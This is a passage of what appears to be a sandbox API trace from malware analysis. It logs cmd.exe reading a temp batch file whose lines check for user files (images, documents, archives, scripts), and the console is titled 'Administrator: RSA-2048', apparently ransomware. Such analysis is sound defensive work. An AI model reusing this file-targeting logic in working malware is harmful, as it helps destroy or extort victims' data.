lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0038.328] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0038.328] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.328] GetFileType (hFile=0x74) returned 0x1 [0038.328] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.328] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0038.328] GetProcessHeap () returned 0x4e0000 [0038.328] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.328] GetProcessHeap () returned 0x4e0000 [0038.328] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.328] _tell (_FileHandle=3) returned 2194 [0038.328] _close (_FileHandle=3) returned 0 [0038.329] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.329] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.329] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.329] SetFilePointer (in: hFile=0x74, lDistanceToMove=2194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0038.329] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.329] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0038.329] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d9b, lpOverlapped=0x0) returned 1 [0038.329] SetFilePointer (in: hFile=0x74, lDistanceToMove=2219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0038.329] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n") returned 25 [0038.329] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.329] GetFileType (hFile=0x74) returned 0x1 [0038.329] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.329] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0038.329] GetProcessHeap () returned 0x4e0000 [0038.329] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.329] GetProcessHeap () returned 0x4e0000 [0038.329] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.329] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.329] GetProcessHeap () returned 0x4e0000 [0038.329] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.330] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.330] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.330] GetProcessHeap () returned 0x4e0000 [0038.330] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.330] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.330] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.330] GetProcessHeap () returned 0x4e0000 [0038.330] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.330] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.330] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.330] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.330] GetProcessHeap () returned 0x4e0000 [0038.330] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.330] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.330] GetProcessHeap () returned 0x4e0000 [0038.330] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.330] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.330] GetProcessHeap () returned 0x4e0000 [0038.330] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.330] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.331] _tell (_FileHandle=3) returned 2219 [0038.331] _close (_FileHandle=3) returned 0 [0038.331] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41eea8*="*.png") returned 0x2b [0038.331] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.331] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4b58 [0038.331] FindClose (in: hFindFile=0x4f4b58 | out: hFindFile=0x4f4b58) returned 1 [0038.331] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.331] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0038.332] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f5940 [0038.332] GetProcessHeap () returned 0x4e0000 [0038.332] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5940) returned 0x12 [0038.332] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0038.332] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.332] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.332] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.332] SetFilePointer (in: hFile=0x74, lDistanceToMove=2219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0038.332] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.332] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0038.332] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.332] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0038.332] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.332] GetFileType (hFile=0x74) returned 0x1 [0038.332] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0038.332] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.332] SetFilePointer (in: hFile=0x74, lDistanceToMove=2221, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0038.332] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng") returned 2 [0038.332] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.333] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0038.333] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.333] GetFileType (hFile=0x74) returned 0x1 [0038.333] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0038.333] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.333] SetFilePointer (in: hFile=0x74, lDistanceToMove=2246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0038.333] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n\r\n") returned 25 [0038.333] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.333] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0038.333] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.333] GetFileType (hFile=0x74) returned 0x1 [0038.333] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0038.333] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.333] SetFilePointer (in: hFile=0x74, lDistanceToMove=2248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0038.333] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0038.333] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.333] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0038.333] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.334] GetFileType (hFile=0x74) returned 0x1 [0038.334] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0038.334] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.334] SetFilePointer (in: hFile=0x74, lDistanceToMove=2275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0038.334] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0038.334] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.334] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0038.334] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.334] GetFileType (hFile=0x74) returned 0x1 [0038.334] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0038.334] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.334] SetFilePointer (in: hFile=0x74, lDistanceToMove=2300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0038.334] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0038.334] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.334] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0038.334] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.334] GetFileType (hFile=0x74) returned 0x1 [0038.334] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0038.334] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.334] SetFilePointer (in: hFile=0x74, lDistanceToMove=2325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0038.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0038.335] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.335] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0038.335] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.335] GetFileType (hFile=0x74) returned 0x1 [0038.335] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0038.335] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.335] SetFilePointer (in: hFile=0x74, lDistanceToMove=2352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0038.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto l\r\n") returned 27 [0038.335] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.335] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0038.335] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.335] GetFileType (hFile=0x74) returned 0x1 [0038.335] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x930 [0038.335] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.335] SetFilePointer (in: hFile=0x74, lDistanceToMove=2379, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0038.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l\r\n") returned 27 [0038.335] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.335] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0038.335] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.335] GetFileType (hFile=0x74) returned 0x1 [0038.335] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x94b [0038.336] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=2406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0038.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l\r\n") returned 27 [0038.336] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0038.336] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.336] GetFileType (hFile=0x74) returned 0x1 [0038.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x966 [0038.336] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=2433, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0038.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l\r\n") returned 27 [0038.336] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0038.336] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.336] GetFileType (hFile=0x74) returned 0x1 [0038.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x981 [0038.336] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=2460, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0038.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l\r\n") returned 27 [0038.336] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0038.336] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.337] GetFileType (hFile=0x74) returned 0x1 [0038.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x99c [0038.337] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=2487, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0038.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l\r\n") returned 27 [0038.337] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0038.337] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.337] GetFileType (hFile=0x74) returned 0x1 [0038.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0038.337] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=2514, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0038.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l\r\n") returned 27 [0038.337] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0038.337] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.337] GetFileType (hFile=0x74) returned 0x1 [0038.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d2 [0038.337] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=2541, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0038.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l\r\n") returned 27 [0038.337] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0038.338] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.338] GetFileType (hFile=0x74) returned 0x1 [0038.338] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ed [0038.338] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.338] SetFilePointer (in: hFile=0x74, lDistanceToMove=2569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0038.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l\r\n\r\n") returned 28 [0038.338] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.338] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0038.338] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.338] GetFileType (hFile=0x74) returned 0x1 [0038.338] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa09 [0038.338] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.338] SetFilePointer (in: hFile=0x74, lDistanceToMove=2596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0038.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l\r\n\n") returned 27 [0038.338] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.338] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0038.338] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.338] GetFileType (hFile=0x74) returned 0x1 [0038.338] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa24 [0038.338] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.338] SetFilePointer (in: 